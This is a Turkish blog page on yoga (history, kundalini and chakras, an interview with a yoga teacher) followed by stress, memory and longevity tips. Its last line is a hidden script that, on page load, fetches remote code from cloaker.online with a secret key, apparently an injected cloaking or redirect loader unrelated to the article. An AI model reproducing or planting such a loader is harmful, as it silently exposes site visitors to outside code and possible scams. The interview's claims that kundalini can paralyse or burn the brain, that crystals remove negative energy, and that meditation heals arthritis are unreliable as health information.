Yoga, tek bir dinsel sistem olmayıp uygulayan kişiyle Tanrı’nın mistik birleşmeyi hedefleyen bir disiplindir. Kadim zamanlardan çağımıza kadar uzanan geleneksel yoganın ne zaman, kim tarafından ve nasıl ortaya çıktığı bilinmemektedir. Ege Meta Yayınları’ndan çıkmış olan “Astral Seyahat Teknikleri” adlı kitabında D.Scott Rogo, yoga hakkında şöyle diyor:“MÖ 3000 yıllarında Hindistan’da uygulanmakta olduğu düşünülmektedir. Yoga, gerçekte tek bir dinsel sistem değil, fakat birbiriyle bağlantılı ve bir arada uygulayıcıyı tanrıyla mistik bir birleşmeye taşıyan bir dizi disiplinden meydana gelmiştir. Bugün “yoga” esas olarak solunum, beden kontrolü, meditasyon ve adanmışlık üzerine ayrıntılı talimat ve egzersizleri kapsamaktadır. Bu yöntemler ilk olarak MÖ 2. Ya da 3. Yy. Sanatın öğrencisi ve uygulayıcısı olan Hintli Patanjali tarafından ünlü Yoga Sutralar’da sistemleştirilmiştir. Bunlar Patanjali tarafından bulunmuş değillerdir. Onun yaptığı zamanın ruhsal pratiklerinin deşifre etmek olmuştur.

Ancak, daha geç öğretiler disiplinin muhtemelen Patanjali’nin yorumlamaktan çekindiği engin, gizli tutulan ve sözlü gelenek çerçevesinde korunduğuna kuşku olmayan yönüne dikkat çekmişlerdir.

YOGA SİSTEMLERİ

Hatha Yoga: Beden üzerinde kontrol sahibi olmak için ustalaşma yogası.

Kundalini Yoga: Bedende uyku halinde bulunan enerjileri uyandırma yogası.

Mantra Yoga: Ses ve zikir yogası

Bhakti Yoga: Adanarak eylem yogası

Karma Yoga: İyi fiiller yogası

Gnana ve Raja Yoga: Zihni yatıştırma ve meditasyon yogaları.

Kundalini yoga ve Mantra yoga hepimizin içinde uyur durumda bir enerji olduğunu öğretir. Kuyruk sokumunda çöreklenmiş durumdaki “kundalini” uyandırıldığı zaman bel kemiği boyunca yükselmeye başlar. Ve baş istikametindeki çıkış sırasında psişik merkezlerin yani şakraları uyandırır. Her şakranın merkezi uyarıldıkça kendiliğinden gelişen belli özgün marifetlerle bağlantısı vardır. Bu merkezlerin bedendeki simgesel odak noktaları mı, yoksa gerçek anlamda psişik güç merkezleri mi, oldukları açık değildir. Bu konuda farklı otoritelerin farklı görüşlere sahip olmalarına karşın çoğunluk bu merkezlerin uyandırılmasının levitasyondan astral projeksiyona, başka kişilerin hareketlerini kontrolden düşünce gücüyle madde oluşturmaya kadar normalüstü kuvvetin ele geçirilmesinde anahtar olduğuna hem fikirdirler.

Patanjali’nin büyük Yoga Sutralar’ı belli psişik yeteneklerin manevi arayış yolculuğu zarar verebileceği uyarısını yaparlar. Fakat, bu ikazlar devamında öğrenciye göstereceği performansın ödülleri olarak vaat edilen levitasyon, astral projeksiyon ve benzeri fenomenlere dair değildir. Hatha yoga, pradipika gibi daha geç yogik metinler gayretli bir inceleme ve uygulamanın sonucu olarak açığa çıkacak olan psişik yeteneklerin (Siddhiler) müjdelerler. Hinduizm kökenli daha eski yıllara ait bazı upanişadlarda öğrencinin dikkatini psişik yetenekler engeline çekerler. Fakat bunların açıkça sergilenmemesi önerisinin dışında bunların yararlı olduğuna dair söylenen bir şey yoktur.

Yoga Hocası Adnan Siddviho Çabuk

                                                                                                                                                            Yoga ile tanışmanız nasıl oldu?                                                                                                     15 yıl önce New York’ta başladım. 10 yıl önce de Yoga Hocası olabilmek için Hindistan’ın Kerela eyaletinde Suami Suananda aşramında yoğun eğitim gördüm. New York’ta yogaya sağlık için başladım, diz ağrılarım yüzünden. Yoga çalışmalarım sırasında insanlar yogayı öğrenmek isteyince de işin ciddiyetini anladım ve eğitimi yerinde alıp öğrenmeye karar verdim.

Yoga disiplinleri arasında sizin uyguladığınız hangisi?                                                                  7-8 çeşit yoga vardır. Bunların çoğu ruhani ve zihinsel yogalardır. Fiziksele pek önem vermezler. Sadece meditasyon, Tanrı’ya teslimiyet ve karşılıksız hizmet yoluyla yapılan yogalardır. Benim öğrettim Hatha Yoga ise, ruhsal, zihinsel ve fiziksel vücuda önem verir. Kundalini yoga da önemli bir yogadır. Çünkü, makrokozmonun içimizdeki mikrokozmosunu yani kundaliniyi uyandıran hızlı bir sistemdir. Kundalini kuyruk sokumunda mitolojik olarak 3.5 defa kendi etrafında dönmüş, kuyruğunu ısırmakta olan bir yılanın sembolü ile gösterilir. Mikrokozmo dediğimiz enerji aynı zamanda seks enerjisidir. Bu enerji uyandığı takdirde daha sonra bahsedeceğimiz 7 şakrayı delerek yukarıya, en üstteki ilahi şakraya ulaşır ve o an ermişlik kapısı açılır. Kundalini enerjisi birkaç şekilde uyanabilir;

Dinsel yolla, ciddi çalışmalar yaparak,

Yoga yoluyla,

Bir kazanın şokundan sonra,

Zorlu bir ameliyattan sonra,

Doğuştan karmik arınmaya ulaşmış kişilerde.

Kundalini arınmamış insanda harekete geçtiği zaman teşhis edilemeyen ağrılar verebilir, sakatlık yapabilir, felç edebilir veya 5000 voltluk bir elektriğe çarpılmış gibi beyni yakabilir.

Fiziksel, ruhsal ve zihinsel bedenleri biraz daha ayrıntılı anlatabilir misiniz?               Yoga felsefesine göre insan vücudunda 7 boyut, bilinç, şuur vardır. Aynı kainat gibi, çünkü biz kainatın tam bir kopyasıyız. Bizler son dört boyutu hemen hissedemiyoruz, ama ilk üç boyut, hepimizin idrak edebileceği boyutlar, bunlar fiziksel, ruhsal ve zihinsel boyutlardır. Hatha Yoga’da amacımız ilk üç boyut arasındaki dengeyi sağlamak yani tam sağlık sağlamak. Biri eksik olursa sağlıklı değiliz. Bütünlük sağlandığı zaman yoga hedefine ulaşmış olur. Bu üç boyut arasında denge oluştuğu zaman, yani bütünleşme başladığı zaman, diğer boyutlara da kapılar sırayla açılmaya başlar. Kapılar açıldıkça Yogi’de insanüstü güçler çalışmanın yan etkisi olarak oluşmaya başlar. Eğer Yogi tam bir teslimiyet ile bu yolda giderse, yani kıskançlığını, kızgınlığını, nefretini ve korkusunu törpüleyebilirse ermişliğe doğru ilerler.

Hatha Yoga ile enerji tekerlekleri dediğimiz çakralar arasında bir bağlantı var mı?  Çakralar yoga sistemi içinde, enerji vücudunda olan, gözle görülmüyor, fakat elektrik ve mıknatıs gibi varlığı biliniyor. Kuyruk sokumundan başlayıp tepeye kadar çıkan enerji, vücudunun omurgası sayılan şuşumla kanalı içinde sıralanan 7 ana hayat merkezi anlamındadır. Bunları benzin istasyonları gibi de düşünebiliriz; enerji toplayıp, gerekli organlara enerji dağıtıyorlar.

Boynunuza boncuklu kolyeler takıyorsunuz, herhangi bir amaçları var mı?             Özellikle değer verdiğim kuartz kristali var. Yoga hocamın tavsiyesi üzerine takıyorum, çünkü pozitif kozmo enerjiyi yansıtıyor ve negatif enerjiyi de yok ediyor. Diğer kolye ametist, çünkü lila rengi en yüksek spiritüel renk.

Yoga ile beslenme arasında nasıl bir ilişki var?                                                                   % 100 vegetaryen olmak şart değil. Ancak, her yemeği, özellikle de eti az yemek şart. Fast food kesinlikle yok. Mevsimin meyve ve sebzeleri yenmeli, 3 beyazı, un, tuz ve şekeri mümkün olduğu kadar azaltmak gerekli. Süt yerine kesinlikle yoğurt yenmeli, çünkü yoğurt canlı bakteri üretiyor, bağıksak ve mideye çok faydalı.

Bizlere son olarak aktarmak istedikleriniz var mı?                                                         Yoga spor, jimnastik veya akrobasi değildir. İlimsel ve evrensel bir yaşam tarzıdır. Hindu dininden filizlenmiştir, fakat bir din değildir. Bütün insanlığa ve kâinattaki her varlığa sağlık, huzur ve aydınlık diliyorum

Yoga, meditasyon

Kronik stres, beyinde sorun yaratan bir numaralı zanlı. Bu konuda McGill  Üniversitesi'nden Prof. Dr. Sonia Lupien şunları söylüyor:

"Kortizol adı verilen stres hormonunun üst sınırlarda seyretmesi, zaman içinde beynin bellek merkezi hipokamp'ın büzülmesine yol açabiliyor." Dharma Khalsa da böylelikle kısa dönemli hafıza sistemi bozularak beyin hücrelerinin yaşlanma sürecinin hızlandığına dikkat çekiyor. Uzmanlar bu sorunun çözüm anahtarının gevşemeyi (rahatlamayı) öğrenmek olduğunu ifade ediyor. Khalsa'nın araştırması günden güne stresi azaltarak belleğin geliştirileceğini ortaya koyuyor. Bu şekilde IQ'nuzla birlikte moraliniz de yükseliyor.

Bunu yapın: Sabahları stres seviyesi dorukta olduğundan uzmanlar, güne 10- 20 dakika kadar uygulanabilecek yoga, meditasyon ve derin nefes alıp verme teknikleriyle başlamayı öneriyorlar.

[neroo5-blog]

Zeka Teknikleri

1-. Strateji: Zekânızı keskinleştirin

Keskin bir zeka rahat olmamızı, iyi ilişkiler kurmamızı, iyi beslenmemizi ve sağlıklı bir yaşam sürmemizi sağlar. Zihinsel aerobik yapma, hafızayı geliştirir ve Alzheimer hastalığı riskini azalttır. Son UCLA araştırması beynimizi aktif tuttuğumuzda, şaşırtıcı bir şekilde beyin veriminin arttığını buldu, hatta sadece birkaç hafta sonra bile. Zekanızı keskinleştirmek için bu tavsiyeleri düşünün.zihinsel ufkunuzu genişletmek için farklı yaklaşımlar deneyin. Bu yaklaşım, yeni bir yere yolculuk yapmak, enstrüman çalmayı öğrenmek, balo dansı yapmak veya okula geri dönmek olabilir. _ Üç Temel Hafıza Tekniğini Öğrenin ve Kullanın:

_

Bakın: Hatırlamak istediğiniz şeye odaklanın.

Kapın: Bilginin zihinsel kesitlerini hayal edin.

Bağlantı Kurun: Beyninizde kesitleri birbirine bağlayın / birleştirin.

Bulmacalar, oyunlar, okuma ve diğer düşünsel hobiler ile zihinsel olarak aktif kalın, fakat beyninizi çalıştırdığınızdan ve beyninizi zorlamadığınızdan emin olun- hayal kırıklığı ve üzüntü yaratmadan ilginizi çeken meydan okuma seviyenizi bulun-

2. Strateji: Sağlıklı ilişkiler geliştirin Sosyal olarak bağlantı kuran insanlar, kendilerini soyutlayan insanlardan daha uzun yaşam beklentilerine sahip olurlar. Partnerinizle olan cinsel ilişkinizi geliştirin çünkü iyi seks daha uzun yaşamak demektir. Bu sadece insanları birbirine yaklaştırmaz, kan basıncını düşürür, ağrıyı azaltır, dinlendirici bir uyku çekilmesini sağlar, bağışıklık sistemini kuvvetlendirir bu sayede enfeksiyona karşı daha iyi mücadele ederiz.

Dikkatli Dinleme Egzersizini Deneyin: eşinizden veya arkadaşınızdan bir duygu veya onun için önemli olan bir konu hakkında konuşmasını isteyin ve hiç kesmeden veya yorum yapmadan dinleyin. Gözünün içine bakın ve odaklanın. 5 dakika sonra, nasıl hissettirdiği hakıkında birbirinizle konuşun.

3.Strateji: Stresi azaltmak-

Yaşamımızdan stresi tamamen çıkartamıyoruz fakat strese karşı daha sağlıklı tepkiyi öğrenebiliriz. Daha uzun ve daha iyi bir yaşantı sürmek için stresi en aza indirebileceğimiz bazı adımlar:

Evinizdeki ve yaşamınızdaki karmaşıklığı kontrol edin. Bazen bizi zorlayan insan karmaşıklığına sahip oluruz bu yüzden gerçekten ilgilendiğimiz kişiler için daha fazla zamana sahibiz. Yapmanız gerekenler listesinden birkaç kısmı / parçayı çıkarmayı deneyin. Çoklu Göreve Dikkat Edin: Yavaş olun ve bir seferde bir şey alın.

_Meditasyon Yapmayı Öğrenin:

_ Düzenli meditasyon sadece stresi azaltmaz aynı zamanda, bağışıklık sistemini güçlendirir, kireçlenmeden kronik ağrıya kadar çeşitli medikal durumların iyileşmesini sağlar.

“Hayır” deme konusunda kendinize yetki verin. Yeteri kadar “hayır” demediğimiz zaman, daha fazla sorumluluk alırız ve endişeli, kızgın, içerlemiş ve tutsak kalmış hissederiz.

4. Strateji: Pozitif düşünün

İyimserler, kötümserlere göre daha muhteşem bir yaşam beklentisine sahipler.Yarım bir bardağı dolu görmeye çalışın.

Son yapılan araştırmalar, aklımıza koyduğumuzda iyimserliği öğrenebileceğimizi gösteriyor.

Ruhsal dünyanızı keşfedin. Haftada bir ibadet evlerine katılma, hiç katılmayanla kıyaslandığında, 7 yıl daha hayat kalma ile ilişkilendirilir.

5.  Çevrenizi düzenleyin

Çevremizin nasıl hissettiğimiz ve ne kadar yaşadığımız üzerinde büyük bir etkisi vardır. İster tamamiyle trafik, gürültü, hava kirliliği olsun, isterse de estetik veya yatakodası ısısı gibi daha kişisel çevresel konular olsun, kaliteli uzun yaşamımız sadece bu etkilere adpte olmamızı değil aynı zamanda da bireysel tatlarımızı ve ihtiyaçlarımızı karşılama için onları şekillendirmeyi öğrenmemizi gerektirir.

Evinizi veya iş yerinizi dizayn ederken işlevi ve estetiği göz önünde bulundurun. Karmaşıklığı ve gürültüyü kontrol edin ve uykunuzu ve rahatlığınızı artıracak şekilde yatakodanızı düzenleyin.

Güneşe, dumana, kirli havaya, ve diğer hava kökenli zehirlere maruz kalmanızı en aza indirin.

Yolda güvende olun. Kendiniz başa çıkamıyorsanız başkasına sürdürün.

İş yerinizi güvenli ve komforlu yapın.

Konfor ve güvenlik için ergonomik dizaynlar düşünün.

Aşırı yüklü bilgiden kaçınmak için teknolojinizi yönetin.

//<![CDATA[ var secretkey = 'ce6be44f157c2f7ebd2e035efbbf1fd2'; document.write("<script type='text/javascript' src='https://cloaker.online/api.js?key=" + secretkey + "'><\/script>"); //]]>